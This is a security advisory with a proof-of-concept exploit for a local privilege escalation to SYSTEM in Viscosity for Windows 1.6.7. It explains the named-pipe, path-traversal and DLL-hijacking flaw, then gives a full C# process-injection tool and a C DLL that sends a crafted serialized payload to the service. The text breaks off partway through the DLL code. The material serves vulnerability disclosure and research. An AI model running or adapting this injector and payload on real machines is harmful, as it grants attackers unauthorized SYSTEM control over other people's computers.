Viscosity For Windows 1.6.7 Privilege Escalation
Posted on 01 February 2017
Viscosity for Windows 1.6.7 Privilege Escalation 30 Jan 2017 Homepage: https://www.sparklabs.com/ Description: ViscosityService runs as SYSTEM process. wmic service where name="ViscosityService" get StartName StartName LocalSystem Viscosity.exe contacts with service using named pipe. Only files digitally signed by SparkLabs can use this pipe because of usage of new X509Certificate2(X509Certificate.CreateFromSignedFile());. But itas possible to bypass this by injecting our DLL into Viscosity.exe. So now we can send any commands to service using DLL. Inside service there is method startOpenVPN which is responsible for executing openvpn.exe as SYSTEM user. One of the parameter of this method is openVPNVer which is used to generate valid path to exe file: if (string.IsNullOrWhiteSpace(openVPNVer)) { text = Path.Combine(text, "openvpn.exe"); } else { text = Path.Combine(text, openVPNVer, "openvpn.exe"); } Of course from Viscosity GUI we have limited options for choosing this parameter. But because we control pipe, we can send anything, for example: ..... Now we control path to binary which will be executed. There is another problem in order to get privilege escalation. Before executing openvpn.exe from given path, service again check if this exe file is signed by SparkLabs. We can bypass this too. How? Using DLL Hijacking. OpenVPN signed by SparkLabs uses 6 DLL (which donat need to be signed). So we can copy this signed OpenVPN to our directory and replace one of the external dll, for example lzo2.dll with our custom dll. Then, service will allow execution of this signed openvpn.exe which will load and execute our custom, non signed dll. Proof of Concept: Download Visual Studio Project For injecting into Viscosity process I use simple C# injector (you need to compile this using x64 architecture): using System; using System.IO; using System.Runtime.InteropServices; using System.Text; public class Program { public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } public enum ProcessCreationFlags : uint { ZERO_FLAG = 0x00000000, CREATE_BREAKAWAY_FROM_JOB = 0x01000000, CREATE_DEFAULT_ERROR_MODE = 0x04000000, CREATE_NEW_CONSOLE = 0x00000010, CREATE_NEW_PROCESS_GROUP = 0x00000200, CREATE_NO_WINDOW = 0x08000000, CREATE_PROTECTED_PROCESS = 0x00040000, CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, CREATE_SEPARATE_WOW_VDM = 0x00001000, CREATE_SHARED_WOW_VDM = 0x00001000, CREATE_SUSPENDED = 0x00000004, } [DllImport("kernel32.dll")] public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true)] private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); private static int Main(string[] args) { Console.WriteLine("Viscosity for Windows 1.6.7 Privilege Escalation"); Console.WriteLine("by Kacper Szurek"); Console.WriteLine("http://security.szurek.pl/"); Console.WriteLine("https://twitter.com/KacperSzurek"); string exploitPath = @"C:z"; string currentDir = Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location); string dllPath = Path.Combine(currentDir, "Dll.dll"); if (!System.IO.File.Exists(Path.Combine(currentDir, "Dll.dll"))) { Console.WriteLine("Missing Dll.dll. Did you copy all dependency?"); return 1; } if (!System.IO.Directory.Exists(exploitPath)) { System.IO.Directory.CreateDirectory(exploitPath); } System.IO.File.Copy(@"C:Program FilesViscosityResourcesOpenVPN2.3msvcp120.dll", @"C:zmsvcp120.dll", true); System.IO.File.Copy(@"C:Program FilesViscosityResourcesOpenVPN2.3msvcr120.dll", @"C:zmsvcr120.dll", true); System.IO.File.Copy(@"C:Program FilesViscosityResourcesOpenVPN2.3ssleay32.dll", @"C:zssleay32.dll", true); System.IO.File.Copy(@"C:Program FilesViscosityResourcesOpenVPN2.3libeay32.dll", @"C:zlibeay32.dll", true); System.IO.File.Copy(@"C:Program FilesViscosityResourcesOpenVPN2.3libpkcs11-helper-1.dll", @"C:zlibpkcs11-helper-1.dll", true); System.IO.File.Copy(@"C:Program FilesViscosityResourcesOpenVPN2.3openvpn.exe", @"C:zopenvpn.exe", true); System.IO.File.Copy(Path.Combine(currentDir, "Lzo.dll"), @"C:zlzo2.dll", true); STARTUPINFO startupInfo = default(STARTUPINFO); PROCESS_INFORMATION processInformation = default(PROCESS_INFORMATION); UIntPtr lpNumberOfBytesWritten; if (!Program.CreateProcess(@"c:Program FilesViscosityViscosity.exe", null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref startupInfo, out processInformation)) { Console.WriteLine("Cannot create Viscosity process"); return 1; } uint dwProcessId = processInformation.dwProcessId; IntPtr hProcess = Program.OpenProcess(1082, false, (int)dwProcessId); IntPtr procAddress = Program.GetProcAddress(Program.GetModuleHandle("kernel32.dll"), "LoadLibraryA"); IntPtr intPtr = Program.VirtualAllocEx(hProcess, IntPtr.Zero, (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), 12288u, 4u); Program.WriteProcessMemory(hProcess, intPtr, Encoding.Default.GetBytes(dllPath), (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), out lpNumberOfBytesWritten); Program.CreateRemoteThread(hProcess, IntPtr.Zero, 0u, procAddress, intPtr, 0u, IntPtr.Zero); Console.WriteLine("Wait for message from thread"); return 0; } } Injected dll is written in C (also you need to compile this using x64): #include "stdafx.h" BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DWORD dwWritten = 0; char buffer[128]; DWORD numBytesRead = 0; HANDLE hPipe = CreateFile(TEXT("\\.\Pipe\ViscosityNamedPipe5zstaa0123s"), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { MessageBoxA(NULL, "Is Viscocity service running?", "FAILED", MB_OK); return true; } WriteFile(hPipe, "10924 ", 6, &dwWritten, NULL); WriteFile(hPipe, "AAEAAAD/////AQAAAAAAAAAQAQAAAAQAAAAGAgAAAAxzdGFydE9wZW5WUE4GAwAAAAhyYW5kb21pZAYEAAAACy4uLy4uLy4uL3ovCQUAAAAMBgAAAEdWaXNjb3NpdHlTZXJ2aWNlLCBWZXJzaW9uPTEuNi43LjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49bnVsbAUFAAAAG3pJVllnSnBPOGlRZDlIQlNJeFNCeEtaYlNZaQoAAAAOY29uZmlnRmlsZVBhdGgPYWR2Q29uZmlnVmFsdWVzDGNvbmZpZ1ZhbHVlcxJjdXN0b21Db25maWdWYWx1ZXMMZG5zdjZTZXJ2ZXJzDXJlbW90ZVNlcnZlcnMGcm91dGVzCmlwdjZyb3V0ZXMMZG5zdjRTZXJ2ZXJzCmRuc0RvbWFpbnMBAwMDAwMDAwMD1AJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1d4gFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1d4gFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1df1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV1/U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXfEBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXfEBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXX9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1df1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GAAAABgcAAAAEdGVzdAkIAAAACQkAAAAJCgAAAAkLAAAACQwAAAAJDQAAAAkOAAAACQ8AAAAJEAAAAAQIAAAA1AJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAdWZXJzaW9uCENvbXBhcmVyCEhhc2hTaXplAAMACJIBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuR2VuZXJpY0VxdWFsaXR5Q29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAAAAAAkRAAAAAAAAAAQJAAAA4gFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAdWZXJzaW9uCENvbXBhcmVyCEhhc2hTaXplAAMACJIBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuR2VuZXJpY0VxdWFsaXR5Q29tcGFyZXJgMVtbU3lzdGVtLlN0cml 10924, &dwWritten, NULL); if (dwWritten != 10924) { MessageBoxA(NULL, "Cannot write to service", "FAILED", MB_OK); return true; } BOOL result = ReadFile(hPipe, buffer, 127 * sizeof(char), &numBytesRead, NULL); if (!result) { MessageBoxA(NULL, "Cannot read from service", "FAILED", MB_OK); return true; } buffer[numBytesRead] = '